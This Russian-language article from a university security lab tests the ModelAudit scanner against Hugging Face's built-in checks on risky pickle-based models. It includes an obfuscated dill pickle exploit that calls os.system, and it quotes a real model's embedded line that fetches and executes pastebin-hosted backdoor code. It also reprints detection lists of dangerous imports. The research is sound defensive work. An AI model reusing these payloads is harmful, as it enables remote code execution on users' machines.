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Окружайте, так удобнее промахиваться! Встроенные в Hugging Face проверки ML-моделей против одного сканера

Содержание (кликабельно)

Введение
Первый эксперимент - сканируем модели в наиболее опасных форматах хранения
Второй эксперимент - сканируем меченые модели
Выводы

Введение

Результаты тренировки моделей машинного обучения желательно сохранять, и для этого существует огромное множество форматов хранения.

В предыдущей статье "Сканеры ML-моделей: разбор инструментов и некоторых методов обхода их проверок" был представлен обзор основных статических сканеров артефактов ML-моделей. В выводах сканер ModelAudit был выделен как наиболее зрелое решение среди проанализированных конкурентов по следующим критериям:

количество поддерживаемых к сканированию форматов хранения моделей
количество проверок под каждый формат моделей
результаты моих попыток обхода сканеров
наличие и качество документации

Но, как известно, количество не всегда отражает качество.

Для оценки возможностей сканера в более приближенных к реальности условиях я провел множество экспериментов и хочу поделиться двумя наиболее интересными:

Сканирование подмножества моделей из Hugging Face, сериализованных в виде наиболее опасных форматов хранения моделей
Сканирование таких моделей из Hugging Face, которые сами авторы пометили зловредными (в названии или описании) с последующим сравнением сработок ModelAudit с результатами проверок встроенных в HF инструментов

Немного спойлеров:

По результатам первого эксперимента разобраны наиболее фолсящие проверки ModelAudit (некоторые из которых сгенерировали в сумме 700+ сработок в популярной модели Ultralytics/YOLO11)
Второй эксперимент позволяет оценить разницу между результатами работы целого арсенала инструментов и всего лишь одного ModelAudit
По ходу рассмотрим, как ML-модели практически без участия человека обслуживают инструментарий, созданный для проверки тех же моделей

На протяжении статьи я буду ссылаться на различные артефакты проведенных экспериментов, некоторые из них доступны в репозитории.

Статья носит исключительно информационный характер и не является инструкцией или призывом к совершению противоправных действий. Цель — рассказать о существующих уязвимостях, которыми могут воспользоваться злоумышленники, предостеречь пользователей и дать рекомендации по защите личной информации в Интернете. Автор не несет ответственности за использование инфо

Меня зовут Вячеслав Мосин, я учусь в магистратуре AI Talent Hub в ИТМО и прохожу практику в лаборатории ITMO AI Security Lab. Эта статья написана в рамках работы лаборатории.

Первый эксперимент - сканируем модели в наиболее опасных форматах хранения

На Hugging Face опубликовано уже более 2,7 миллиона моделей — просканировать их все на обычном компьютере не получится и за год. Поэтому нам нужно сузить выборку: отобрать те модели, которые с наибольшей вероятностью окажутся опасными.

Для этого можно отбирать к дальнейшим проверкам только те модели, в репозиториях которых есть артефакты наиболее опасных форматов. Но какие форматы отнести к таким?

Разработчики ModelAudit сами дают ответ на этот вопрос – в описании проекта на PyPI они классифицировали совместимые форматы по уровням опасности:

Форматы хранения, поддерживаемые сканером ModelAudit, с разбивкой по уровню их опасности (на фото неполный список) – источник

Общая механика данного эксперимента стала следующей:

При помощи HF API и библиотеки huggingface_hub формируем список идентификаторов репозиториев моделей на Hugging Face по следующим фильтрам:
- Среди артефактов в репозитории модели должен присутствовать хотя бы один с типом из списка: '.pkl', '.pickle', '.dill', '.pt', '.pth', '.ckpt', '.bin', '.joblib', '.npy', '.npz'
- Суммарный размер всех файлов в репозитории не должен превышать 1 ГБ (чтобы за меньшее время проверить большее число моделей)
- Количество скачиваний модели за последний месяц не более 10000 (популярные модели с меньшей вероятностью могут оказаться зловредными)
- Репозиторий должен быть открытым – не "gated" (на Hugging Face существуют репозитории, у которых "Model Card" доступна всем для просмотра, а для скачивания файлов нужно выполнить дополнительное действие, например, принять условия использования модели – для упрощения такие репозитории просто пропускаются)
В цикле скачиваем модели и сканируем при помощи ModelAudit
Сработки сохраняем в отдельный JSON
Анализируем собранные данные

В такой постановке было просканировано 246 моделей, среди которых удалось найти 271 предупреждение безопасности критического уровня. Важно уточнить – скан одной лишь модели может содержать несколько десятков критических проблем.

Прежде чем перейти к статистике, зафиксируем несколько особенностей работы сканера.

Возможные уровни опасности (Severity) в результатах сканирования ModelAudit выглядят так (перевод документации):

CRITICAL: Критические проблемы безопасности, требующие немедленного устранения
WARNING: Потенциальные проблемы, требующие проверки
INFO: Информационные сообщения, не обязательно связанные с безопасностью
DEBUG: Дополнительные сведения (отображаются только с помощью --verbose)

ModelAudit состоит из множества внутренних сканеров, каждый из которых предназначен под определенный тип моделей и форматы их хранения, все они описаны в документации. В результатах моего эксперимента встречаются сработки от внутренних сканеров следующих типов:

unknown_check
pytorch_zip_check
pickle_check
license_warning
suspicious_url
safetensors_check
manifest_check
pytorch_binary_check
weight_distribution_check
zip_check

Наконец, перейдём к результатам – начнём с 15 наиболее проблематичных моделей по сумме сработок всех типов:

Анализ сработок самой уловистой модели

Самая богатая на сработки модель Ultralytics/YOLO11 получила 728 предупреждений. Является ли это хорошим маркером зловредности модели? Вдобавок можно отметить её высокую популярность – неужели многие используют зловредную модель?

Чтобы не распыляться рассмотрим только критические предупреждения, всего их 35 штук. Из них 20 относятся к "type": "pickle_check" и 15 к "type": "pytorch_zip_check".

Анализ сработок с типом pickle_check:
Все критические сработки данного типа имеют одинаковые значения атрибута "message": Suspicious reference __builtin__.getattr", между этими сработками отличаются лишь названия артефактов, в которых они были найдены, ниже представлено несколько примеров таких сработок:

{
	"message": "Suspicious reference __builtin__.getattr",
	"severity": "IssueSeverity.CRITICAL",
	"location": "/app/assets/cloned_models/Ultralytics_YOLO11/yolo11n-seg.pt:yolo11n-seg/data.pkl",
	"details": {
		"module": "__builtin__",
		"function": "getattr",
		"opcode": "STACK_GLOBAL",
		"ml_context_confidence": 0.405,
		"pickle_filename": "yolo11n-seg/data.pkl"
	},
	"why": null,
	"timestamp": 1771364507.8307638,
	"type": "pickle_check"
},
...
{
	"message": "Suspicious reference __builtin__.getattr",
	"severity": "IssueSeverity.CRITICAL",
	"location": "/app/assets/cloned_models/Ultralytics_YOLO11/yolo11n-seg.pt:yolo11n-seg/data.pkl /app/assets/cloned_models/Ultralytics_YOLO11/yolo11n-seg.pt:yolo11n-seg/data.pkl (pos 138995)",
	"details": {
		"module": "__builtin__",
		"function": "getattr",
		"position": 138995,
		"opcode": "GLOBAL",
		"import_reference": "__builtin__.getattr",
		"ml_context_confidence": 0.405,
		"pickle_filename": "yolo11n-seg/data.pkl"
	},
	"why": null,
	"timestamp": 1771364507.8567154,
	"type": "pickle_check"
},
...

getattr(obj, name) — стандартная Python-функция, которая получает атрибут объекта по имени, переданному в виде строки. То есть getattr(obj, "method") эквивалентно obj.method. Эта функция может использоваться при создании зловредных файлов для обхода слишком наивных сканеров – при ее помощи можно импортировать любой объект по строке, которая, к примеру, до передачи в getattr может храниться отдельными кусками для усложнения анализа.

Но getattr часто используется в том числе и в легитимных моделях, поэтому нельзя назвать такую проверку точной, это подтверждается в том числе и статьей от компании JFrog, разрабатывающей собственный аналогичный сканер.

Анализ сработок с типом pytorch_zip_check:
Сработки этого типа между собой тоже имеют много общего - они подсвечивают разные артефакты модели Ultralytics/YOLO11 по наличию в них как минимум одного глобального имени из числа следующих:

"found_malicious": [
	"__builtin__.set",
	"__builtin__.getattr"
],

Пример одной из таких сработок

{
	"message": "CRITICAL: Malicious code detected: OBJ(33), NEWOBJ(33), BUILD(13) opcodes detected",
	"severity": "IssueSeverity.CRITICAL",
	"location": "/app/assets/cloned_models/Ultralytics_YOLO11/yolo11x.pt:yolo11x/data.pkl",
	"details": {
		"cve_id": "CVE-2025-32434",
		"opcode_counts": {
			"OBJ": 33,
			"NEWOBJ": 33,
			"BUILD": 13
		},
		"total_dangerous_opcodes": 79,
		"unique_opcode_types": [
			"OBJ",
			"BUILD",
			"NEWOBJ"
		],
		"code_execution_risks": [
			"New-style object creation",
			"Object creation code execution",
			"__setstate__ method exploitation"
		],
		"import_analysis": {
			"total_imports": 28,
			"all_legitimate": false,
			"found_malicious": [
				"__builtin__.set"
			],
			"found_imports": [
				"ultralytics.nn.modules.block.C3k2",
				"ultralytics.nn.modules.block.C2PSA",
				"ultralytics.nn.modules.block.DFL",
				...
			]
		},
		"safetensors_available": false,
		"assessment": "malicious",
		"vulnerability_description": "The weights_only=True parameter in torch.load() does not prevent code execution from pickle files, contrary to common security assumptions.",
		"recommendation": "DO NOT USE THIS MODEL - it contains malicious imports (__builtin__.set). This is likely a supply chain attack.",
		"affected_pytorch_versions": "All versions ≤2.5.1",
		"fixed_in": "PyTorch 2.6.0"
	},
	"why": null,
	"timestamp": 1771364422.0674577,
	"type": "pytorch_zip_check"
},

Функцию getattr мы уже разбирали, теперь поговорим про builtin.set – тип данных Python, реализующий коллекцию уникальных элементов (аналог математического множества). Как и getattr, он живёт в пространстве имён builtin и доступен без импорта. Это один из самых базовых и безобидных типов в языке.

Удивительно видеть сработку критического уровня, вызванную наличием стандартного типа данных, более того, безобидность использования set подтверждается в том числе и исходным кодом проверок типа pickle_check (modelaudit/scanners/pickle_scanner.py):

# Safe ML-specific global patterns (SECURITY: NO WILDCARDS - explicit lists only)
ML_SAFE_GLOBALS: dict[str, list[str]] = {
    # PyTorch - explicit functions only (no wildcards)
    "torch": [
        "Tensor",
        "FloatTensor",
        "LongTensor",
	...
    # Python builtins - safe built-in types and functions
    # NOTE: eval, exec, compile, __import__, open, file are NOT in this list (they remain dangerous)
    # NOTE: getattr, setattr, delattr, hasattr are NOT in this list
    # because attribute-access primitives must never be allowlisted.
    "__builtin__": [  # Python 2 builtins
        "set",
        "frozenset",
        "dict",
	...

Но внутренний сканер типа pytorch_zip_check не проверяет отдельные функции на легитимность – всё из пространства имен builtin считается зловредным (modelaudit/scanners/pytorch_zip_scanner.py #L1977):

modelaudit/scanners/pytorch_zip_scanner.py#L1977

class PyTorchZipScanner(BaseScanner):
    """Scanner for PyTorch Zip-based model files (.pt, .pth, .pkl, .bin)"""

    name = "pytorch_zip"
    description = "Scans PyTorch model files for suspicious code in embedded pickles"
	
	...

    def _analyze_pickle_imports(self, pickle_result: ScanResult) -> dict[str, Any]:
        """Analyze pickle imports to distinguish legitimate vs malicious patterns"""
        # Standard PyTorch imports that are expected in legitimate models
        legitimate_imports = { ... }

        # Malicious imports that indicate actual attack
        malicious_imports = {
            "os.system",
            "subprocess",
            "eval",
            "exec",
            "compile",
            "__builtin__",
            "builtins.eval",
            "builtins.exec",
            "webbrowser",
            "socket",
            "urllib",
        }

        found_imports = set()
        found_malicious = set()

        # Extract GLOBAL opcodes from ALL checks (both passed and failed)
        # This is important because legitimate imports are recorded as passed checks
        all_checks = pickle_result.issues + getattr(pickle_result, "checks", [])
        for check in all_checks:
            check_details = check.details or {}
            if "import_reference" in check_details:
                imp = check_details["import_reference"]
                found_imports.add(imp)
                # Check if this is a malicious import
                if any(mal in imp for mal in malicious_imports):
                    found_malicious.add(imp)

        # Determine if all imports are legitimate
        all_legitimate = (
            all(any(legit in imp for legit in legitimate_imports) for imp in found_imports) if found_imports else True
        )

        return {
            "total_imports": len(found_imports),
            "all_legitimate": all_legitimate,
            "found_malicious": list(found_malicious),
            "found_imports": list(found_imports),
        }

Из анализа сработок модели Ultralytics/YOLO11 можно сделать следующие выводы:

Высокое количество сработок (даже критических) не доказывает зловредность модели, а скорее служит сигналом для более детального ручного анализа – как самой модели, так и применяемых правил сканирования
Существуют такие функции, которые часто применяются при сериализации легитимных моделей и одновременно являются полезными для составления зловредных файлов (такие функции как, например, getattr), для проверок таких функций необходима сложная логика, которая на данный момент в ModelAudit реализована не для всех кейсов

Анализ всех критических сработок из сканирования первого подмножества моделей

Все фолсы критического уровня от самой проблематичной модели разобрали, далее необходимо проанализировать критические сработки по всем 246 просканированным моделям, среди которых только 34 модели имеют хотя бы одно предупреждение критического уровня опасности.

Первым делом оценим распределение критических алертов по типам сканеров:

Сработки типа pytorch_binary_check
Оказалось, что все полученные сработки такого типа имеют одинаковое значение поля message: "Executable signature found: Windows executable (PE)". Ниже представлено несколько примеров таких сработок, найденных в модели apple/coreml-depth-anything-v2-small:

Примеры релевантных сработок

[
    {
        "model_id": "apple/coreml-depth-anything-v2-small",
        "status": "scanned",
        "issues": [
            {
                "message": "Executable signature found: Windows executable (PE)",
                "severity": "IssueSeverity.CRITICAL",
                "location": "/app/assets/cloned_models/apple_coreml-depth-anything-v2-small/DepthAnythingV2SmallF32P8.mlpackage/Data/com.apple.CoreML/weights/weight.bin (offset: 1112)",
                "details": {
                    "signature": "4d5a",
                    "description": "Windows executable (PE)",
                    "offset": 1112,
                    "total_found": 15,
                    "pattern_density_per_mb": 0.6,
                    "ml_context_confidence": 0.5415978856889626
                },
                "why": null,
                "timestamp": 1771278284.8888228,
                "type": "pytorch_binary_check"
            },
            {
                "message": "Executable signature found: Windows executable (PE)",
                "severity": "IssueSeverity.CRITICAL",
                "location": "/app/assets/cloned_models/apple_coreml-depth-anything-v2-small/DepthAnythingV2SmallF32P8.mlpackage/Data/com.apple.CoreML/weights/weight.bin (offset: 384294)",
                "details": {
                    "signature": "4d5a",
                    "description": "Windows executable (PE)",
                    "offset": 384294,
                    "total_found": 15,
                    "pattern_density_per_mb": 0.6,
                    "ml_context_confidence": 0.5415978856889626
                },
                "why": null,
                "timestamp": 1771278284.8889217,
                "type": "pytorch_binary_check"
            },
            {
                "message": "Executable signature found: Windows executable (PE)",
                "severity": "IssueSeverity.CRITICAL",
                "location": "/app/assets/cloned_models/apple_coreml-depth-anything-v2-small/DepthAnythingV2SmallF32P8.mlpackage/Data/com.apple.CoreML/weights/weight.bin (offset: 416485)",
                "details": {
                    "signature": "4d5a",
                    "description": "Windows executable (PE)",
                    "offset": 416485,
                    "total_found": 15,
                    "pattern_density_per_mb": 0.6,
                    "ml_context_confidence": 0.5415978856889626
                },
                "why": null,
                "timestamp": 1771278284.8889542,
                "type": "pytorch_binary_check"
            },
			...

Такие и аналогичные сработки генерирует сканер если в проверяемом файле удается найти одну из следующих сигнатур (modelaudit/detectors/suspicious_symbols.py #L565):

# Common executable file signatures found in malicious model data
EXECUTABLE_SIGNATURES: dict[bytes, str] = {
    b"MZ": "Windows executable (PE)",
    b"\x7fELF": "Linux executable (ELF)",
    b"\xfe\xed\xfa\xce": "macOS executable (Mach-O 32-bit)",
    b"\xfe\xed\xfa\xcf": "macOS executable (Mach-O 64-bit)",
    b"\xcf\xfa\xed\xfe": "macOS executable (Mach-O)",
    b"#!/": "Shell script shebang",
    b"#!/bin/": "Shell script shebang",
    b"#!/usr/bin/": "Shell script shebang",
}

Очевидно, что сигнатура из двух байтов слишком чувствительна – в пользу того, что все найденные срабатывания являются ложноположительными, свидетельствуют следующие факторы:

В помеченных моделях нет критически опасных сработок других типов
Среди отобранных все модели с такими сработками оказались опубликованными довольно известными компаниями (apple, OpenVINO, FluidInference)

Сработки типа pytorch_zip_check
Находки данного типа можно разделить на две группы:

Cтриггерились на наличие в файлах моделей как минимум одного из следующих глобальных имен: __builtin__.set, __builtin__.getattr, __builtin__.dict - такие сработки мы уже разбирали ранее
Сработки в моделях сохраненных при помощи TorchScript, пример описания одной из таких сработок: "Found 9 JIT/Script code risks across file"

Большинство сработок второй группы имеют одинаковый источник проблемы - им выступает название атрибута равное "input", которое используется во многих PyTorch методах и не представляет собой одноименную функцию. Это видно напрямую по "code_snippet" из каждой аналогичной сработки:

Пример релевантной сработки

{
	"message": "Dangerous builtin 'input' used in embedded code",
	"severity": "CRITICAL",
	"context": "/app/assets/cloned_models/bookbot_zipformer-streaming-robust-sw/exp-causal/jit_script_chunk_32_left_128.pt:jit_script_chunk_32_left_128/code/__torch__/torch/nn/modules/container.py.debug_pkl",
	"pattern": null,
	"recommendation": "Remove input usage - it can execute arbitrary code",
	"confidence": 0.9,
	"details": {},
	"framework": "TorchScript",
	"code_snippet": "def forward(self, input):\nq\u0002X\u001c\u0000\u0000\u0000        for module in self:\nq\u0003X\"\u0000\u0000\u0000            input = module(input)\nq\u0004X\u0015\u0000\u0000\u0000        return input\nq\u0005XX\u0000\u0000\u0000/root/miniconda3/envs/icefall/lib/python3.10/site-packages/torc",
	"type": "dangerous_builtin",
	"operation": null,
	"builtin": "input",
	"import_": null
}

Сработки типа pickle_check
Критических алертов такого типа в сумме 28 штук, из них 24 подсветили уже разобранную ранее проблему "Suspicious reference __builtin__.getattr5", оставшиеся 4 сработки сообщают об одной из следующих проблем:

Suspicious reference dill._dill._load_type
Found REDUCE opcode with non-allowlisted global: dill._dill._load_type. This may indicate CVE-2025-32434 exploitation (RCE via torch.load)
Extreme stack depth (30001) - stopping scan for safety

Все алерты, связанные с dill._dill._load_type относятся к одной модели с названием DILHTWD/documentlayoutsegmentation_YOLOv8_ondoclaynet.

Разберем суть использования этого глобального имени. Dill - библиотека, расширяющая возможности стандартного протокола Pickle, его ключевой особенностью является возможность сохранять функции и лямбда-выражения, при этом Dill является одним из встроенных способов сериализации в PyTorch.

Пример сериализации с использованием Dill из предыдущей статьи:

import torch
import dill

def run_cmd(cmd):
    x = '__im'
    y = 'po'
    z = 'rt__'
    o = 'o'
    s = 's'
    import builtins
    module = getattr(builtins, x + y + z)(o + s)
    getattr(module, 'sys' + 'tem')(cmd)

class Exploit:
    def __reduce__(self):
        return (run_cmd, ("echo HACKED >> /tmp/hacked_obf",))

model = torch.nn.Linear(1, 1)
exploit = Exploit()

torch.save({'model': model, 'exploit': exploit}, 'malicious.pth', pickle_module=dill)

Возвращаясь к dill._dill._load_type - это вспомогательная функция десериализации внутри dill, которая восстанавливает Python-типы по их имени из внутренней таблицы _typemap.

Для моделей архитектуры YOLOv8 использование dill является стандартной практикой.

Выводы по первому эксперименту

По итогам данного этапа исследования у меня сформировалась следующая позиция – в ModelAudit заложены некоторые проверки, которые в определенных условиях позволяют находить действительно опасные объекты, но "шумность" многих проверок никак не учитывается при выборе критичности генерируемых ими сработок, следовательно, не следует судить о зловредности модели исключительно по количеству предупреждений.

Впрочем ложноположительные сработки лучше ложноотрицательных, так как если сгенерировались хоть какие-то находки, то их можно триажировать, а наиболее шумные правила доработать или вообще отключить.

Второй эксперимент - сканируем меченые модели

В предшествующем анализе удалось собрать аналитику по ошибкам типа "False Positive", но может возникнуть вопрос – раз ModelAudit так часто "фолзит" помечая легитимные модели зловредными, то как он поведет себя с действительно опасными моделями? И стоит ли вообще использовать ModelAudit, после всех тех проверок, которые и так прогоняются на Hugging Face?

Для получения ответов на эти вопросы был построен эксперимент со следующей последовательностью шагов:

Поиск таких моделей, у которых в репозитории встречаются определенные ключевые слова, сигнализирующие о зловредности модели с высокой вероятностью – для этого использовался полнотекстовый поиск по Hugging Face с применением нескольких запросов: "malicious", "ACE" "PoC", "deserialization" "PoC" . В итоге получен список - parsed_raw_models_list.json
Фильтрация списка через LLM: в контекст модели передаём название репозитория, его описание и результаты HF-проверок – на выходе получаем подборку filtered_models_list.json с наибольшей вероятностью зловредных моделей
Сканирование итогового списка моделей через ModelAudit, с итогами сканирований можно ознакомиться в файле scanned_data.json
Сопоставление итогов проведенного сканирования с результатами встроенных в HF проверок

Для первого ознакомления с результатами очередного сканирования снова построим гистограмму распределения сработок всех уровней критичности по 15 самым уловистым моделям. Сразу можно заметить несколько отличий от аналогичного распределения из первого эксперимента: процент критических сработок сильно выше, почти нет моделей с заоблачными количествами алертов (в предыдущем эксперименте было 9 моделей у которых больше 60 сработок, в текущем, как видно ниже, всего одна такая модель).

На предыдущей гистограмме высота столбцов в конце графика почти не убывала, поэтому ниже построена аналогичная гистограмма, но уже для 30 моделей:

Графики получились залипательные, но эксперимент задумывался с другой целью - сравнить сканирование при помощи одного инструмента с арсеналом встроенных в Hugging Face проверок.

Нюансы

Перед тем как перейти непосредственно к такому сканированию необходимо уточнить несколько нюансов:

Проблемы с проверками моделей на HF

Пример отображения результатов встроенных в HF проверок безопасности

Не для каждой модели отрабатывают все настроенные в HF проверки, причем по разным причинам - начиная с того, что инструменты имеют определенный список поддерживаемых к сканированию артефактов моделей и заканчивая аварийными падениями в процессе сканирования

Разные уровни опасности в сработках из Hugging Face и генерируемых через ModelAudit
Сработки, получаемые из HF API, нигде не задокументированы, но среди полученных мной данных были только вот такие варианты уровней опасности:

"level": "unscanned"
"level": "suspicious"
"level": "unsafe"
"level": "error"
"level": "caution"

При этом результаты сканирований при помощи ModelAudit могут получать следующие уровни критичности:

"severity": "IssueSeverity.DEBUG",
"severity": "IssueSeverity.CRITICAL",
"severity": "IssueSeverity.INFO",
"severity": "IssueSeverity.WARNING",

Интерпретация уровней опасности ModelAudit описана в документации.

Наложение результатов сканирования

Если быть точным - сравнивать будем результаты проверок не совсем моделей, а их репозиториев, внутри которых может быть разное число моделей.

В текущем сравнении опасными будем считать те репозитории для которых есть хотя бы одна сработка с одним из следующих уровней:

Для сработок из HF: 'suspicious', 'unsafe'
Для сработок от ModelAudit: 'IssueSeverity.CRITICAL', 'IssueSeverity.WARNING'

То есть алгоритм сравнения получается примерно следующим:

Открываем репозиторий очередной модели и получаем артефакты проверок из двух источников: HF API и ModelAudit
Проходимся по срабатываниям ModelAudit – если есть хотя бы один алерт с уровнем 'IssueSeverity.CRITICAL' или 'IssueSeverity.WARNING', то модель считается опасной по оценке ModelAudit
Аналогично для HF - если среди срабатываний есть хотя бы один статус 'suspicious' или 'unsafe', то модель отмечаем опасной по оценке Hugging Face
По результатам обхода всех моделей строим Confusion Matrix

В итоге и была построена следующая матрица:

Пояснение к матрице:

На главной диагонали расположены количества моделей, для которых и HF, и ModelAudit выдали одинаковые результаты проверок, среди них 154 модели были отмечены опасными обоими и, соответственно, 49 оценены как безопасные
На побочной диагонали распложены количества моделей в которых предсказания разошлись

На матрице видно 14 репозиториев моделей которых ModelAudit счел опасными, однако встроенные в HF проверки для них не нашли ничего подозрительного.

Это число можно попробовать увеличить, пометив опасными в том числе и те репозитории, которые имеют хотя бы один алерт от ModelAudit одного из уровней: 'IssueSeverity.CRITICAL', 'IssueSeverity.WARNING', 'IssueSeverity.INFO' (к предшествующему списку добавился уровень'IssueSeverity.INFO'). Но бывают ли действительно опасные сработки с уровнем INFO? Ещё как!

Ниже представлена одна из сработок, полученная при проверке модели jossefharush/gpt2-rs:

Пример релевантной сработки

{
  "model_id": "jossefharush/gpt2-rs",
  "status": "scanned",
  "issues": [
  ...
  {
	"message": "Found 4 network communication patterns (Domain name detected: pastebin.com, Network function call detected: urlopen, Network library detected: urllib, https://pastebin.com/raw/sVvZph7V, import urllib) across file",
	"severity": "IssueSeverity.INFO",
	"location": "/app/assets/cloned_models/jossefharush_gpt2-rs/pytorch_model.bin:pytorch_model/data.pkl",
	"details": {
	  "findings_count": 4,
	  "findings": [
		{
		  "type": "url_detected",
		  "severity": "MEDIUM",
		  "confidence": 0.5,
		  "message": "URL detected in model: https://pastebin.com/raw/sVvZph7V",
		  "url": "https://pastebin.com/raw/sVvZph7V",
		  "position": 88,
		  "context": "/app/assets/cloned_models/jossefharush_gpt2-rs/pytorch_model.bin:pytorch_model/data.pkl"
		},
		{
		  "type": "domain",
		  "severity": "MEDIUM",
		  "confidence": 0.8,
		  "message": "Domain name detected: pastebin.com",
		  "domain": "pastebin.com",
		  "position": 88,
		  "context": "/app/assets/cloned_models/jossefharush_gpt2-rs/pytorch_model.bin:pytorch_model/data.pkl"
		},
		{
		  "type": "network_library",
		  "severity": "HIGH",
		  "confidence": 0.7,
		  "message": "Network library detected: urllib",
		  "library": "urllib",
		  "pattern": "import urllib",
		  "context": "/app/assets/cloned_models/jossefharush_gpt2-rs/pytorch_model.bin:pytorch_model/data.pkl"
		},
		{
		  "type": "network_function",
		  "severity": "HIGH",
		  "confidence": 0.6,
		  "message": "Network function call detected: urlopen",
		  "function": "urlopen",
		  "snippet": "ec('''\nimport urllib.request; exec(urllib.request.urlopen(\"https://pastebin.com/raw/sVvZph7V\").read().decode())\n''') or dict()q\u0001q\u0002Rq\u0003(X\n\u0000\u0000\u0000wte.weight",
		  "context": "/app/assets/cloned_models/jossefharush_gpt2-rs/pytorch_model.bin:pytorch_model/data.pkl"
		}
	  ],
	  "total_findings": 4,
	  "patterns": [
		"Domain name detected: pastebin.com",
		"Network function call detected: urlopen",
		"Network library detected: urllib",
		"https://pastebin.com/raw/sVvZph7V",
		"import urllib",
		"pastebin.com"
	  ],
	  "aggregated": true,
	  "aggregation_type": "summary",
	  "pickle_filename": "pytorch_model/data.pkl"
	},
	"why": "Models should not contain network communication capabilities",
	"timestamp": 1773006354.5677795,
	"type": "pickle_check"
 },

Как видно, сканер нашел признаки объектов, связанных с сетевой активностью в файле jossefharush_gpt2rs/pytorch_model.bin:pytorch_model/data.pkl.

Одной из найденных ссылок является https://pastebin.com/raw/sVvZph7V – откроем ее:

Как видно, по ссылке лежит бэкдор, который при запуске на машине жертвы отправляет результаты выполнения любых команд с хоста жертвы на сервер злоумышленника. Довольно важная сработка.

Проведем новое сравнение, в котором опасными сработками ModelAudit будут считаться еще и те, которым присвоен уровень IssueSeverity.INFO:

HuggingFace сигнализирует об опасности, но ModelAudit пропускает

Суммарное число опасных алертов увеличилось, теперь проанализируем расхождения и сфокусируемся на тех случаях, когда HF отмечал модели опасными, а ModelAudit безопасными, это произошло с шестью моделями:

[
	"Iredteam/db-payload-chatbot",
	"etwithin/diffusers-ckpt-ace-poc",
	"etwithin/ckpt-scanner-bypass-poc",
	"etwithin/pytorch-tar-scanner-bypass-poc",
	"shaq4prez/malicious-olmo3-poc",
	"etwithin/pytorch-zip-scanner-bypass-poc"
]

Изначально я использовал ModelAudit версии 0.2.24, все вышеуказанные результаты были получены именно при помощи этой версии. Получив шесть потенциальных FN я обновил сканер до актуальной на тот момент версии – 0.2.28 и из шести FN осталось только три. Далее я убедился, что эти модели действительно зловредные (способы будут описаны ниже) и уже собирался зарепортить уязвимости обхода защиты ModelAudit, так как согласно его политике безопасности ошибки приводящие к FN в поддерживаемых к сканированию форматах хранения считаются уязвимостями.

Подготовившись к этому я снова обновился на актуальную версию (0.2.31) и уже в этой версии все ошибки были устранены – такая вот история.

Использованные техники триажа находок ModelAudit
Сканер ModelAudit является по-настоящему глубоко проработанным решением - в него встроено множество проверок под различные форматы хранения. Но способов хранения моделей существует еще больше чем проверок, притом одно и то же расширение файла в разных фреймворках может обозначать различные по структуре и содержанию артефакты. Один из таких примеров – расширение .ckpt (сокращение от «checkpoint»), применяемое в ряде фреймворков:

TensorFlow - https://www.tensorflow.org/tutorials/keras/save_and_load?hl=ru
JAX Checkpoint - https://www.promptfoo.dev/docs/model-audit/scanners/#jax-checkpoint-scanner
PyTorch (Stable Diffusion) - https://huggingface.co/docs/diffusers/v0.28.2/en/using-diffusers/other-formats#pytorch-ckpt

Такие нюансы создают сложности для сканера, это и оказалось причиной пропуска опасных моделей 'etwithin/ckpt-scanner-bypass-poc', 'etwithin/diffusers-ckpt-ace-poc'.

Изучим репозиторий 'etwithin/diffusers-ckpt-ace-poc' более подробно и для начала взглянем на результаты его проверок в самом HF:

Отображение на HF результатов проверок репозитория модели etwithin/diffusers-ckpt-ace-poc

Как видно, опасным является не весь репозиторий, а только один файл. Многие ML-модели хранятся внутри архивов, поэтому и откроем его архиватором:

Внезапно – внутри Pickle, который должен без проблем сканироваться как при помощи ModelAudit, так и многими другими инструментами.

Начнем с ModelAudit (версия 0.2.28) – ниже представлены результаты сканирования data.pkl:

Результаты сканирования data.pkl через ModelAudit

{
  "bytes_scanned": 362,
  "issues": [
    {
      "message": "Legacy dangerous pattern detected: posix\nsystem",
      "severity": "warning",
      "location": ".\\etwithin_diffusers-ckpt-ace-poc\\data.pkl",
      "details": {
        "pattern": "posix\nsystem",
        "detection_method": "legacy_pattern_matching"
      },
      "timestamp": 1774903884.589092,
      "type": "pickle_check"
    },
    {
      "message": "Suspicious reference posix.system",
      "severity": "critical",
      "location": ".\\cloned_models\\etwithin_diffusers-ckpt-ace-poc\\data.pkl",
      "details": {
        "module": "posix",
        "function": "system",
        "opcode": "GLOBAL",
        "ml_context_confidence": 0.315
      },
      "why": "The 'posix' module provides direct access to POSIX system calls on Unix-like systems. Like the 'os' module, it can execute arbitrary system commands and manipulate the file system. The 'posix.system' function is equivalent to 'os.system' and poses the same security risks.",
      "timestamp": 1774903884.5986443,
      "type": "pickle_check",
      "rule_code": "S206"
    },
    {
      "message": "Suspicious reference posix.system",
      "severity": "critical",
      "location": ".\\cloned_models\\etwithin_diffusers-ckpt-ace-poc\\data.pkl (pos 276)",
      "details": {
        "module": "posix",
        "function": "system",
        "position": 276,
        "opcode": "GLOBAL",
        "import_reference": "posix.system",
        "import_only": false,
        "classification": "dangerous",
        "ml_context_confidence": 0.315
      },
      "why": "The 'posix' module provides direct access to POSIX system calls on Unix-like systems. Like the 'os' module, it can execute arbitrary system commands and manipulate the file system. The 'posix.system' function is equivalent to 'os.system' and poses the same security risks.",
      "timestamp": 1774903884.5995214,
      "type": "pickle_check",
      "rule_code": "S206"
    },
    {
      "message": "Found REDUCE opcode invoking dangerous global: posix.system",
      "severity": "critical",
      "location": ".\\cloned_models\\etwithin_diffusers-ckpt-ace-poc\\data.pkl (pos 357)",
      "details": {
        "position": 357,
        "opcode": "REDUCE",
        "associated_global": "posix.system",
        "origin_is_ext": false,
        "ml_context_confidence": 0.315
      },
      "why": "The REDUCE opcode calls a callable with arguments, effectively executing arbitrary Python functions. This is the primary mechanism for pickle-based code execution attacks through __reduce__ methods.",
      "timestamp": 1774903884.5997143,
      "type": "pickle_check",
      "rule_code": "S201"
    },
    {
      "message": "Detected dangerous __reduce__ pattern with posix.system",
      "severity": "critical",
      "location": ".\\cloned_models\\etwithin_diffusers-ckpt-ace-poc\\data.pkl (pos 357)",
      "details": {
        "pattern": "RESOLVED_REDUCE_CALL_TARGET",
        "module": "posix",
        "function": "system",
        "position": 357,
        "opcode": "REDUCE",
        "ml_context_confidence": 0.315
      },
      "why": "The 'posix' module provides direct access to POSIX system calls on Unix-like systems. Like the 'os' module, it can execute arbitrary system commands and manipulate the file system. The 'posix.system' function is equivalent to 'os.system' and poses the same security risks.",
      "timestamp": 1774903884.5998695,
      "type": "pickle_check",
      "rule_code": "S201"
    }
  ],
  ...

